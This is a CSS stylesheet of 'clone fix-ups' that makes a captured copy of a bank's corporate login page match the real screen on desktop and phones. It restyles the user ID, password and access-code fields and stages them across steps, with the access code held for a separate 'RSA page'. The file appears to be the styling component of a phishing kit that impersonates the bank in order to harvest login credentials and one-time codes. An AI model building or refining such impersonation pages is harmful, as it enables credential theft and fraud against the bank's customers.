/* Clone fix-ups.
   The origin's own JS runs on the live page and adds/re-orders rules; these are the
   ones the clone needs to look like the real screen. Kept out of step*.html so a
   rebuild from a fresh DOM dump does not lose them. */

/* The blurred desk photo behind everything. On the real page this lives on
   .width100percent_main_loginbg with background-attachment:fixed, which paints it
   across the whole viewport even though the element is only as wide as the card.
   The captured CSS points at a path we do not have, so restate it locally. */
div.width100percent_main_loginbg,
div.login-container {
  background-image: url(assets/a24.jpg) !important;
  background-repeat: no-repeat !important;
  background-position: center center !important;
  background-attachment: fixed !important;
  background-size: cover !important;
  background-color: transparent !important;
}

/* the mid-page link row is white; without the photo behind it, it vanishes */
.login-body-style { background-color: transparent !important; }

/* ---------- small screens: the captured page is a desktop layout ----------
   Without the bank's own JS the card floats absolutely and the footer stacks on top of it,
   so on a phone the form collides with the footer and gets clipped. Put the card back in flow,
   full width, and give the footer room underneath. */
/* The captured pages need these in-flow repairs whenever the bank's own JS has not laid
   them out. That is: always on the step-2 capture, and on any narrow viewport. The page
   script adds body.fix to say so, so this is not tied to a viewport breakpoint any more. */
  /* the desktop sheet gives the wrappers fixed heights, so the card overflows its parents and the
     footer flows underneath it — every wrapper in the chain has to grow instead */
  body.fix .toprow, body.fix .parentTable, body.fix .login-main, body.fix .width100percent_main_loginbg, body.fix .next-genHeader, body.fix .login-body-style, body.fix .px-4, body.fix .row-login {
    display: block !important; position: static !important; height: auto !important; min-height: 0 !important;
    max-height: none !important; overflow: visible !important; padding: 0 !important;
    /* these sit in flex parents and would otherwise shrink-to-fit */
    width: 100% !important; max-width: 100% !important; flex: 1 1 auto !important;
  }
  body.fix .login-main { display: block !important; position: static !important; width: 100% !important;
                max-width: 100% !important; padding: 0 !important; margin: 8px auto 0 !important; box-sizing: border-box; }
  body.fix .login-card, body.fix .login-card-header, body.fix .login-card-body, body.fix .row-login, body.fix .login-container {
    width: 100% !important; max-width: 100% !important; flex: 0 0 100% !important; float: none !important;
    box-sizing: border-box;
  }
  body.fix .login-card { width: 100% !important; border-radius: 10px !important; overflow: visible !important; height: auto !important; min-height: 0 !important;
                padding: 0 !important; background: #fff !important; position: relative !important;
                max-width: 520px !important; margin: 0 auto 30px !important; box-shadow: 0 10px 30px rgba(0,0,0,.18) !important; }
  body.fix .login-card-header { padding: 14px 16px !important; border-radius: 10px 10px 0 0 !important; }
  body.fix .login-card-header, body.fix .login-card-body { width: 100% !important; left: 0 !important; box-sizing: border-box !important; }
  /* bootstrap .row pulls -15px each side, which slid the card's contents off its own box */
  body.fix .login-card .row-login, body.fix .login-card .px-4 { width: 100% !important; margin: 0 !important; padding: 0 !important; left: 0 !important; box-sizing: border-box !important; }
  body.fix .login-card-body { padding: 18px 16px 28px !important; }
  body.fix .footer-wrapper, body.fix #footer, body.fix .loginfoorter-wrapper {
    position: static !important; width: 100% !important; margin: 20px 0 0 !important; padding: 16px 14px 34px !important;
    clear: both !important; height: auto !important;
  }
  body.fix .footer-links { flex-wrap: wrap !important; }
  /* the page-link row is stacked inside the card's band on this capture — force a column so the
     card and the links can never overlap, whatever their captured offsets */
  body.fix #LoginHDisplay.width100percent_main_loginbg { display: flex !important; flex-direction: column !important; align-items: stretch !important; }
  body.fix .login-main { order: 1 !important; margin: 14px 0 0 !important; width: 100% !important; padding: 0 14px !important; box-sizing: border-box !important; }
  /* the row lives in .loginScreenContainer, which precedes the card in this column */
  body.fix .loginScreenContainer { order: 2 !important; margin: 14px 0 0 !important; top: 0 !important; position: static !important; padding: 0 14px !important; box-sizing: border-box !important; }
  body.fix .loginScreenContainer, body.fix #loginScreenLink, body.fix #loginScreenLink a { color: #fff !important; text-shadow: 0 1px 3px rgba(0,0,0,.55) !important; }
  body.fix .loginLinkcontainer, body.fix #loginScreenLink { display: block !important; width: 100% !important; max-width: 100% !important; box-sizing: border-box !important; }
  /* every link is its own div with a duplicated id=loginScreenLink, so block/inline them by prefix */
  /* the captured #id rule outranks an attribute selector, so restate the id to beat it */
  body.fix [id^="LoginScreenLink"][id], body.fix [id^="loginScreenLink"][id], body.fix #loginScreenLink[id], body.fix .loginLinkcontainer > div {
    display: inline-block !important; width: auto !important; max-width: 100% !important; vertical-align: top !important; }
  body.fix [id^="loginScreenLink"] a, body.fix [id^="LoginScreenLink"] a { display: inline !important; }
  body.fix #loginScreenLink { margin: 0 !important; }
  body.fix #loginScreenLink a { text-decoration: none !important; }
  body.fix #footer *, body.fix .footer-wrapper *, body.fix .loginfoorter-wrapper * { position: static !important; float: none !important; }
  body.fix table, body.fix td, body.fix th { max-width: 100% !important; }
  /* Finacle puts the credential boxes in table cells; with auto widths those cells collapse to 0 */
  /* the credential row is absolutely positioned with a zero width, so it lands under the button */
  body.fix #LoginHDisplay\.Ra81, body.fix .dummyPasswordField, body.fix .stage3_inputpanel_paydetailsrow, body.fix .dummyPasswordField > *, body.fix .dummyPasswordField span, body.fix .dummyPasswordField div {
    position: static !important; display: block !important; width: 100% !important; max-width: 100% !important;
    height: auto !important; margin-left: 0 !important; padding-left: 0 !important;
  }
  body.fix .dummyPasswordField { margin: 10px 0 0 !important; }
  body.fix .dummyPasswordField label { margin-bottom: 2px !important; }
  body.fix input[type="password"], body.fix input[name="AuthenticationFG.ACCESS_CODE"], body.fix input[name="AuthenticationFG.PASSWORD"] {
    display: block !important; width: 100% !important; box-sizing: border-box !important;
    border: 0 !important; border-bottom: 1px solid #b9b9b9 !important; padding: 6px 0 !important; margin-bottom: 10px !important;
  }
  body.fix #flashcontent { height: auto !important; min-height: 0 !important; }
  body.fix img { max-width: 100% !important; height: auto !important; }
  /* the submit sits in a .btn wrapper that the desktop CSS sizes to 138px and offsets left */
  /* the submit sits in a right-aligned span row; make the row, the wrapper and the input all full width */
  /* their capture carries in-body <style> blocks that outrank a bare id, so double up the selector */
  body.fix #LoginHDisplay\.Ra25, body.fix #LoginHDisplay\.Ra25\.C1, body.fix #LoginHDisplay\.Ra25\.C1 > span {
    display: contents !important; }
  body.fix .login_button { display: block !important; width: 100% !important; max-width: 100% !important;
    float: none !important; margin: 12px 0 0 !important; }
  body.fix .login_button input { display: block !important; width: 100% !important; max-width: 100% !important;
    height: 46px !important; line-height: 43px !important; padding: 0 16px !important; }
  body.fix .login_button, body.fix [class*="waves-input-wrapper"] {
    display: block !important; width: 100% !important; max-width: 100% !important; margin: 10px 0 0 !important;
    left: auto !important; right: auto !important; float: none !important; box-shadow: none !important;
    padding: 0 !important; position: static !important; transform: none !important;
  }
  body.fix .login_button input, body.fix [class*="waves-input-wrapper"] input {
    display: block !important; width: 100% !important; max-width: 100% !important; text-align: center !important;
    padding: 14px 16px !important; box-sizing: border-box !important; line-height: 1.2 !important;
  }
  /* the real page is plain white above the card; the photo only starts at the card */
  body.fix::before { content: ''; display: block; height: 88px; background: #fff; }
  /* the photo must run the whole page; otherwise the rows below land white-on-white */
  body.fix { background: linear-gradient(rgba(255,255,255,.26), rgba(255,255,255,.26)), url(assets/a24.jpg) 62% center / cover no-repeat fixed #fff !important; }
  /* the step-2 capture carries an empty header block sized to the full viewport height;
     it is blank (no logo, no image) and pushes the card a screen and a half down */
  body.fix #header.loginHeader, body.fix [id^="header-main"], body.fix [id^="header-main"] > .wrapper {
    height: auto !important; min-height: 0 !important; max-height: none !important; overflow: visible !important;
  }


body.step-1 input[name="AuthenticationFG.PASSWORD"],
body.step-1 input[name="dummy1"],
body.step-1 input[name="AuthenticationFG.ACCESS_CODE"] { display: none !important; }

/* step 2 dump: the credential boxes come out border-less on white, so they vanish between the carried
   id and the button — restate the underline the page uses elsewhere */
@media (max-width: 1024px) {
  /* the step-2 labels are absolute against the card, so they detach ~195px from their fields */
  body.step-2 .dummyPasswordField label, body.step-2 label[for*="PASSWORD"], body.step-2 label[for*="ACCESS"] {
    position: static !important; display: block !important; font-size: 12px !important; color: #8a8a8a !important;
    margin: 8px 0 2px !important; line-height: 1.3 !important;
  }
  body.step-2 input[type="password"], body.step-2 input[name$="ACCESS_CODE"] {
    display: block !important; width: 100% !important; height: 32px !important; background: transparent !important;
    border: 0 !important; border-bottom: 1px solid #969494 !important; border-radius: 0 !important;
  }
}

/* ---- step 2 (password + access code) on a phone ---------------------------------- */
@media (max-width: 1024px) {
  /* the mobile-auth status block sits above the card here and costs 94px the other steps don't have */
  /* hide the mobile-auth status block only — another .loginrow carries the Forgot Password link */
  body.step-2 .width100percent_main_hidden, body.step-2 p.loginrow:has(img) { display: none !important; }
  /* the captured label follows its input, so the value reads above the caption — reverse the pair */
  /* the capture ships these rows at opacity 0 and their JS fades them in — we strip scripts */
  body.step-2 .dummyPasswordField { width: 100% !important; height: auto !important; margin: 0 0 20px !important; padding: 0 !important; opacity: 1 !important; }
  /* label is the last child in the captured markup — reverse so the caption sits above its field */
  body.step-2 .dummyPasswordField .containerStyle { display: flex !important; flex-direction: column-reverse !important; }
  /* the access code belongs on the RSA page, not here — step 2 is the password only */
  body.step-2 .dummyPasswordField:has(input[name*="ACCESS_CODE"]) { display: none !important; }
  /* the carried CorporateId row uses a floating absolute label and collides with the value —
     give it the same caption-above treatment as the other two so the form is one convention */
  body.step-2 span:has(> input[name*="USER_PRINCIPAL"]) { display: flex !important; flex-direction: column-reverse !important; width: 100% !important; }
  body.step-2 span:has(> input[name*="USER_PRINCIPAL"]) label { position: static !important; display: block !important;
    white-space: nowrap !important; font-size: 12px !important; color: #8a8a8a !important; margin: 0 0 5px !important; }
  body.step-2 span:has(> input[name*="USER_PRINCIPAL"]) input { width: 100% !important; height: 34px !important;
    border: 0 !important; border-bottom: 1px solid #8d8d8d !important; background: transparent !important; font-size: 15px !important; }
  body.step-2 .dummyPasswordField span { display: block !important; width: 100% !important; }
  body.step-2 .dummyPasswordField label { position: static !important; display: block !important; white-space: nowrap !important;
    font-size: 12px !important; line-height: 1.4 !important; color: #8a8a8a !important; margin: 0 0 5px !important; }
  body.step-2 .dummyPasswordField input:not([type=hidden]) {
    width: 100% !important; max-width: 100% !important; height: 34px !important; box-sizing: border-box !important;
    border: 0 !important; border-bottom: 1px solid #8d8d8d !important; border-radius: 0 !important;
    background: transparent !important; font-size: 15px !important; color: #000 !important; box-shadow: none !important;
  }
  /* the button came out light grey with a black border; step 1 is navy with white type */

  body.step-2 .forgot-line { display: inline-block !important; margin: 16px 0 24px !important;
    font-size: 13px !important; color: #002a4e !important; text-decoration: underline !important; }
  /* the person glyph is inline before row 1's caption and pushes it out of line with rows 2-3 */
  body.step-2 .login-card .login_user + .ico, body.step-2 .login-card img.login_usericon { display: none !important; }
  /* the page's own Forgot Password link lives in .loginLinkcontainer, which the mobile sheet hid */
  body.step-2 .loginLinkcontainer { display: block !important; margin: 16px 0 26px !important; }
  body.step-2 .loginLinkcontainer a.Login_linkstyle1 { display: inline-block !important; font-size: 13px !important;
    color: #002a4e !important; text-decoration: underline !important; }
  body.step-2 input.waves-button-input, body.step-2 .login_button input {
    width: 100% !important; height: 46px !important; background: #003d71 !important; color: #fff !important;
    border: 0 !important; border-radius: 3px !important; font-size: 14px !important; box-shadow: none !important;
  }
}
